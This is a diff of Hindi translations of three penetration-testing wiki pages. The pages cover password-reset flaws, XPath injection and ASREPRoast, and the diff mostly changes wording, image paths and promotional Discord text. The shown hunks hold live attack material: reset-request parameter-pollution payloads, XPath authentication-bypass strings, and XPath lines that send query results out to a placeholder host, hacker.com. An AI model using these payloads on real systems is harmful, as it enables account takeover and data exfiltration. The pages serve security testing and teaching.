Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,9 +32,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
## **Password Reset Token Leak Via Referrer**
* HTTP referer हेडर पासवर्ड रीसेट टोकन लीक कर सकता है यदि यह URL में शामिल है। यह तब हो सकता है जब एक उपयोगकर्ता पासवर्ड रीसेट का अनुरोध करने के बाद एक तृतीय-पक्ष वेबसाइट लिंक पर क्लिक करता है।
* HTTP referer header पासवर्ड रीसेट टोकन लीक कर सकता है यदि यह URL में शामिल है। यह तब हो सकता है जब एक उपयोगकर्ता पासवर्ड रीसेट का अनुरोध करने के बाद एक तृतीय-पक्ष वेबसाइट लिंक पर क्लिक करता है।
* **Impact**: Cross-Site Request Forgery (CSRF) हमलों के माध्यम से संभावित खाता अधिग्रहण।
* **Exploitation**: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer हेडर में लीक हो रहा है, **अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें** और **प्रदान किए गए रीसेट लिंक पर क्लिक करें****अपने पासवर्ड को तुरंत न बदलें**। इसके बजाय, **Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए एक तृतीय-पक्ष वेबसाइट पर जाएं** (जैसे Facebook या Twitter)। जांचें कि क्या **referer हेडर में पासवर्ड रीसेट टोकन है**, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
* **Exploitation**: यह जांचने के लिए कि क्या पासवर्ड रीसेट टोकन referer header में लीक हो रहा है, **अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें** और **प्रदान किए गए रीसेट लिंक पर क्लिक करें****अपने पासवर्ड को तुरंत न बदलें**। इसके बजाय, **Burp Suite का उपयोग करके अनुरोधों को इंटरसेप्ट करते हुए एक तृतीय-पक्ष वेबसाइट पर जाएं** (जैसे Facebook या Twitter)। जांचें कि क्या **referer header में पासवर्ड रीसेट टोकन है**, क्योंकि इससे संवेदनशील जानकारी तीसरे पक्ष को उजागर हो सकती है।
* **References**:
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
@ -42,10 +42,10 @@ Stay informed with the newest bug bounties launching and crucial platform update
## **Password Reset Poisoning**
* हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host हेडर को एक दुर्भावनापूर्ण साइट की ओर रीसेट लिंक को इंगित करने के लिए हेरफेर कर सकते हैं
* हमलावर पासवर्ड रीसेट अनुरोधों के दौरान Host header में हेरफेर कर सकते हैं ताकि रीसेट लिंक को एक दुर्भावनापूर्ण साइट की ओर इंगित किया जा सके
* **Impact**: हमलावरों को रीसेट टोकन लीक करके संभावित खाता अधिग्रहण की ओर ले जाता है।
* **Mitigation Steps**:
* अनुमत डोमेन की एक व्हाइटलिस्ट के खिलाफ Host हेडर को मान्य करें।
* अनुमत डोमेन की एक व्हाइटलिस्ट के खिलाफ Host header को मान्य करें।
* पूर्ण URLs उत्पन्न करने के लिए सुरक्षित, सर्वर-साइड विधियों का उपयोग करें।
* **Patch**: `$_SERVER['HTTP_HOST']` के बजाय पासवर्ड रीसेट URLs बनाने के लिए `$_SERVER['SERVER_NAME']` का उपयोग करें।
* **References**:
@ -55,13 +55,13 @@ Stay informed with the newest bug bounties launching and crucial platform update
हमलावर पासवर्ड रीसेट अनुरोध को अतिरिक्त ईमेल पैरामीटर जोड़कर रीसेट लिंक को मोड़ सकते हैं।
* हमलावर ईमेल को दूसरे पैरामीटर के रूप में जोड़ें &
* हमलावर ईमेल को दूसरे पैरामीटर के रूप में & का उपयोग करके जोड़ें
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* हमलावर ईमेल को दूसरे पैरामीटर के रूप में %20 का उपयोग करके जोड़ें
* दूसरे पैरामीटर के रूप में हमलावर का ईमेल %20 का उपयोग करके जोड़ें
```php
POST /resetPassword
[...]
@ -73,7 +73,7 @@ POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* हमलावर के ईमेल को cc का उपयोग करके दूसरे पैरामीटर के रूप में जोड़ें
* हमलावर ईमेल को cc का उपयोग करके दूसरे पैरामीटर के रूप में जोड़ें
```php
POST /resetPassword
[...]
@ -130,7 +130,7 @@ POST /api/changepass
## **Find out How Password Reset Token is Generated**
* टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या ब्रूट-फोर्सिंग की जा सकती है। कुछ विकल्प:
* टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकनों की भविष्यवाणी या ब्रूट-फोर्सिंग की जा सकती है। कुछ विकल्प:
* टाइमस्टैम्प के आधार पर
* यूजरआईडी के आधार पर
* उपयोगकर्ता के ईमेल के आधार पर
@ -144,7 +144,7 @@ POST /api/changepass
## **Guessable UUID**
* यदि UUIDs (संस्करण 1) अनुमानित या पूर्वानुमानित हैं, तो हमलावर उन्हें वैध रीसेट टोकन उत्पन्न करने के लिए ब्रूट-फोर्स कर सकते हैं। जांचें:
* यदि UUIDs (संस्करण 1) अनुमानित या पूर्वानुमानित हैं, तो हमलावर उन्हें ब्रूट-फोर्स कर सकते हैं ताकि मान्य रीसेट टोकन उत्पन्न किया जा सके। जांचें:
{% content-ref url="uuid-insecurities.md" %}
[uuid-insecurities.md](uuid-insecurities.md)
@ -159,7 +159,7 @@ POST /api/changepass
* त्रुटि संदेशों या प्रतिबंधों को बायपास करने के लिए HTTP प्रतिक्रियाओं में हेरफेर करना।
* **Mitigation Steps**:
* प्रतिक्रिया की अखंडता सुनिश्चित करने के लिए सर्वर-साइड जांच लागू करें।
* मैन-इन-द-मिडिल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
* मैन-इन-द-मिडल हमलों को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
* **Reference**:
* [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
@ -198,7 +198,7 @@ POST /api/changepass
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -173,7 +173,7 @@ doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **या उपयोगकर्ता और पासवर्ड में बाईपास (दोनों में समान मान)**
### **उपयोगकर्ता और पासवर्ड में OR बायपास (दोनों में समान मान)**
```
' or '1'='1
" or "1"="1
@ -294,18 +294,18 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़ें
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से अद्यतित रहें
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,13 +32,13 @@ Stay informed with the newest bug bounties launching and crucial platform update
## ASREPRoast
ASREPRoast एक सुरक्षा हमला है जो उन उपयोगकर्ताओं का लाभ उठाता है जिनमें **Kerberos पूर्व-प्रमाणीकरण आवश्यक विशेषता** नहीं होती है। मूल रूप से, यह भेद्यता हमलावरों को उपयोगकर्ता के लिए डोमेन कंट्रोलर (DC) से प्रमाणीकरण का अनुरोध करने की अनुमति देती है बिना उपयोगकर्ता के पासवर्ड की आवश्यकता के। फिर DC उपयोगकर्ता के पासवर्ड-व्युत्पन्न कुंजी के साथ एन्क्रिप्टेड संदेश के साथ प्रतिक्रिया करता है, जिसे हमलावर ऑफ़लाइन क्रैक करने का प्रयास कर सकते हैं ताकि उपयोगकर्ता का पासवर्ड पता चल सके।
ASREPRoast एक सुरक्षा हमला है जो उन उपयोगकर्ताओं का लाभ उठाता है जिनमें **Kerberos पूर्व-प्रमाणीकरण आवश्यक विशेषता** नहीं है। मूल रूप से, यह भेद्यता हमलावरों को उपयोगकर्ता के लिए डोमेन कंट्रोलर (DC) से प्रमाणीकरण का अनुरोध करने की अनुमति देती है बिना उपयोगकर्ता के पासवर्ड की आवश्यकता के। फिर DC उपयोगकर्ता के पासवर्ड-व्युत्पन्न कुंजी के साथ एन्क्रिप्टेड संदेश के साथ प्रतिक्रिया करता है, जिसे हमलावर ऑफ़लाइन क्रैक करने का प्रयास कर सकते हैं ताकि उपयोगकर्ता का पासवर्ड पता चल सके।
इस हमले की मुख्य आवश्यकताएँ हैं:
* **Kerberos पूर्व-प्रमाणीकरण की कमी**: लक्षित उपयोगकर्ताओं में यह सुरक्षा विशेषता सक्षम नहीं होनी चाहिए।
* **डोमेन कंट्रोलर (DC) से कनेक्शन**: हमलावरों को अनुरोध भेजने और एन्क्रिप्टेड संदेश प्राप्त करने के लिए DC तक पहुंच की आवश्यकता होती है।
* **वैकल्पिक डोमेन खाता**: डोमेन खाता होने से हमलावरों को LDAP क्वेरी के माध्यम से कमजोर उपयोगकर्ताओं की पहचान करने में अधिक कुशलता मिलती है। बिना ऐसे खाते के, हमलावरों को उपयोगकर्ता नामों का अनुमान लगाना होगा।
* **वैकल्पिक डोमेन खाता**: एक डोमेन खाता होने से हमलावरों को LDAP क्वेरी के माध्यम से कमजोर उपयोगकर्ताओं की पहचान करने में अधिक कुशलता मिलती है। बिना ऐसे खाते के, हमलावरों को उपयोगकर्ता नामों का अनुमान लगाना होगा।
#### कमजोर उपयोगकर्ताओं की गणना करना (डोमेन क्रेडेंशियल की आवश्यकता)
@ -111,38 +111,38 @@ ASRepCatcher relay -dc $DC_IP --disable-spoofing
# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen
```
## संदर्भ
## References
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकरों और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हो
**Hacking Insights**\
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़े
**वास्तविक समय हैक समाचार**\
वास्तविक समय समाचार और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
**Real-Time Hack News**\
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की खबरों और अंतर्दृष्टियों के माध्यम से अद्यतित रहें
**नवीनतम घोषणाएँ**\
**Latest Announcements**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**आज ही शीर्ष हैकरों के साथ सहयोग शुरू करने के लिए** [**Discord**](https://discord.com/invite/N3FrSbmwdy) में शामिल हों!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}